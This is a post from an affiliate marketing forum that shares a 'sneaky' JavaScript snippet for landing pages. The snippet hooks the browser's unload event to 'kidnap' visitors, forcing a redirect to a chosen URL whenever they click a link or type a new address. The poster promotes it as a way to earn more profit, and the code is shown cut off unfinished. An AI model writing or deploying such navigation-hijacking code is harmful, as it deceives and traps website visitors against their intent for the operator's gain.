• Welcome to affLIFT!
    We are happy you have decided to check out our awesome affiliate marketing forum. Register your account today to join our amazing community!
  • Registration is free and you can upgrade your membership anytime to view our premium content. We also have over 100 free Public threads.

Guide Sneaky JS to kidnap user



Super Contributor
Feb 28, 2019
So if you don't use this code on your LP, you leave a piece of cake on the table. This code kidnaps user to whatever page you want. Just add this code on the page, change google.com to whatever url you want user to be kidnapped, and then bam, more profit!

This works when;

-User clicks whatever link on the page or
-User types another url on the address bar and try to go

var redirecting=  false;

window.onbeforeunload = function() {

    if (redirecting) return;

   setTimeout(function()  {

        window.top.location.href= 'https://www.google.com';

        setTimeout(function() { redirecting=true;  }, 1000);

    },  1);


Last edited by a moderator:
To view the premium content in our affiliate marketing forum (including this awesome thread), you must first register and upgrade your account. Register today and become a part of our amazing community!